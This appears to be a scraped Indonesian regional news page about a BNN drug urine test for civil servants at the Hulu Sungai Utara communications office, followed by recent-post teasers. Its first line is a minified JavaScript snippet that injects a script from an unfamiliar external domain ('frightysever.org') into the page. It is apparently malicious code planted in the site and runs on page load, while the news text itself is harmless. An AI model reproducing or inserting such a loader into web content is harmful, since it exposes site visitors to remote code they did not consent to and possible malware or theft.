(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

BNN Kabupaten HSU Gelar Tes Urine ASN Diskominfo


KANALKALIMANTAN.COM, AMUNTAI – Aparatur Sipil Negara (ASN) sebagai contoh bagi masyarakat haruslah terbebas dari Narkoba dan zat adiktif lainnya.

Hal ini diungkapkan Kepala Dinas Komunikasi dan Informatika (Diskominfo) Kabupaten Hulu Sungai Utara (HSU), H Adi Lesmana di sela pelaksanaan tes urine ASN Diskominfo oleh Badan Narkotika Nasional (BNN) Kabupaten HSU, Senin (8/11/2021).

“Kegiatan ini tentu sangatlah positif bagi kami, dengan mengikuti kegiatan ini berarti kita ikut turut serta mendukung ASN bebas dari Narkoba,” kata Adi Lesmana.

ASN Diskominfoi HSU harus membantu menyosialisasikan di lingkungan sekitar bahaya narkoba dan zat adiktif lainnya.

 

Baca juga : Inovasi ADIB DPMPTSP Kapuas, Layanan Perizinan Gratis bagi Usaha Kuliner

“Karena narkoba ini sangat tidak baik, dilarang baik dari sisi agama dan hukum,” imbuhnya.

Sementara itu, Kepala BNN Kabupaten HSU, Kompol H Syamsuddin menyebut, kegiatan ini merupakan tindak lanjut dengan adanya pernyataan Presiden RI bahwa Indonesia sudah menjadi negara yang darurat akan narkoba.

“Karena Indonesia sudah darurat Narkoba, ada MoU Menteri Dalam Negeri dengan Kepala BNN RI. BNN HSU sesuai dengan tugasnya setiap semester melaksanakan kegiatan, salah satunya sosialisasi dan tes urine,” ungkapnya.

Bahaya dari penggunaan narkoba akan berdampak kepada kehidupan, salah satunya dari segi keuangan yang akan hancur dikarenakan efek candu yang timbul dari narkoba tersebut.

 

Baca juga : “Kampung Literasi” Diluncurkan, Wali Kota Aditya: Minat Baca Masih Rendah

Rusmiati, Sub Koordinator Pencegahan dan Pemberdayaan Masyarakat (P2M) BNN Kabupaten HSU mengatakan bahwa kegiatan yang dilaksanakan ini adalah bentuk komitmen dari BNN Kabupaten HSU agar para ASN terbebas dari Narkoba.

Bentuk penerapan Instruksi Presiden (Inpres) Nomor 2 Tahun 2020 tentang Rencana Aksi nasional pencegahan dan pemberantasan penyalahgunaan dan peredaran gelap narkotika dan prekursor narkotika (P4GN). (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.